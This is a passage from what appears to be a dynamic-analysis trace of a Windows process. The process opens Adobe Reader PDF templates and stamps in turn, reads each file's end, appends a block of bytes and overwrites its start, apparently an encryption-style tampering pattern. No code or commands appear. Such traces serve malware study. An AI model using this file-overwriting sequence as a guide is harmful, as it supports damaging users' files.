(x86)\\adobe\\reader 10.0\\reader\\idtemplates\\dan\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.423] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.423] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x106ec [0032.423] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0032.423] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.423] ReleaseMutex (hMutex=0x128) returned 1 [0032.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e633ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.423] ReadFile (in: hFile=0x190, lpBuffer=0x25c51d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c51d8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.592] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf6ec [0032.592] ReadFile (in: hFile=0x190, lpBuffer=0x1d85ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ea8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.023] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf6ec [0033.023] WriteFile (in: hFile=0x190, lpBuffer=0x25cad38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25cad38*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.023] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.023] WriteFile (in: hFile=0x190, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.024] CloseHandle (hObject=0x190) returned 1 [0033.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0033.025] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.025] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x43b5 [0033.025] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.025] ReleaseMutex (hMutex=0x128) returned 1 [0033.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.026] ReadFile (in: hFile=0x190, lpBuffer=0x25cad38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25cad38*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.035] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x33b5 [0033.035] ReadFile (in: hFile=0x190, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.039] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x33b5 [0033.039] WriteFile (in: hFile=0x190, lpBuffer=0x2624da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2624da8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.039] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.039] WriteFile (in: hFile=0x190, lpBuffer=0x1d85ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.039] CloseHandle (hObject=0x190) returned 1 [0033.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0033.041] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.041] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x10929 [0033.041] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.041] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.041] ReleaseMutex (hMutex=0x128) returned 1 [0033.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.041] ReadFile (in: hFile=0x190, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.052] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf929 [0033.052] ReadFile (in: hFile=0x190, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.065] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf929 [0033.066] WriteFile (in: hFile=0x190, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.066] WriteFile (in: hFile=0x190, lpBuffer=0x261ec48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.066] CloseHandle (hObject=0x190) returned 1 [0033.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0033.067] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.067] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1e071 [0033.067] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.068] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.068] ReleaseMutex (hMutex=0x128) returned 1 [0033.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.068] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.068] ReadFile (in: hFile=0x190, lpBuffer=0x261ec48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x261ec48*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.077] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1d071 [0033.077] ReadFile (in: hFile=0x190, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.090] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1d071 [0033.090] WriteFile (in: hFile=0x190, lpBuffer=0x262aca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x262aca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.090] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.090] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.090] CloseHandle (hObject=0x190) returned 1 [0033.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0033.092] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.092] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x49db0 [0033.092] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.092] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.092] ReleaseMutex (hMutex=0x128) returned 1 [0033.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.092] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0033.092] ReadFile (in: hFile=0x190, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0033.100] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x48db0 [0033.100] ReadFile (in: hFile=0x190, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.111] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x48db0 [0033.112] WriteFile (in: hFile=0x190, lpBuffer=0x2622ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2622ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.114] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.114] WriteFile (in: hFile=0x190, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0033.114] CloseHandle (hObject=0x190) returned 1 [0033.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0033.118] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.119] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x9a88d [0033.119] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.119] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.119] ReleaseMutex (hMutex=0x128) returned 1 [0033.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0033.119] ReadFile (in: hFile=0x190, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0033.121] ReadFile (in: hFile=0x190, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.122] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9988d [0033.123] ReadFile (in: hFile=0x190, lpBuffer=0x1d85ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85ca8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.125] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x9988d [0033.125] WriteFile (in: hFile=0x190, lpBuffer=0x1df0de8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0de8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.125] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.125] WriteFile (in: hFile=0x190, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2f4f28c*=0xf000, lpOverlapped=0x0) returned 1 [0033.125] WriteFile (in: hFile=0x190, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0033.126] CloseHandle (hObject=0x190) returned 1 [0033.134] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.258] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.258] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x8770 [0033.258] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.259] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.259] ReleaseMutex (hMutex=0x128) returned 1 [0033.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0033.259] ReadFile (in: hFile=0x1a0, lpBuffer=0x2621ca8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.292] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7770 [0033.292] ReadFile (in: hFile=0x1a0, lpBuffer=0x2627b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2627b08*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.292] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x7770 [0033.292] WriteFile (in: hFile=0x1a0, lpBuffer=0x2623cd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2623cd8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.292] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0033.292] WriteFile (in: hFile=0x1a0, lpBuffer=0x2621ca8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2621ca8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.292] CloseHandle (hObject=0x1a0) returned 1 [0033.293] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0033.294] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.294] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x178c0 [0033.294] SetFilePointer (in: hFile=0x1a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0033.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.294] ReleaseMutex (hMutex=0x128) returned 1 [0033.294] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.294] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0033.294] ReadFile (in: hFile=0x1a0, 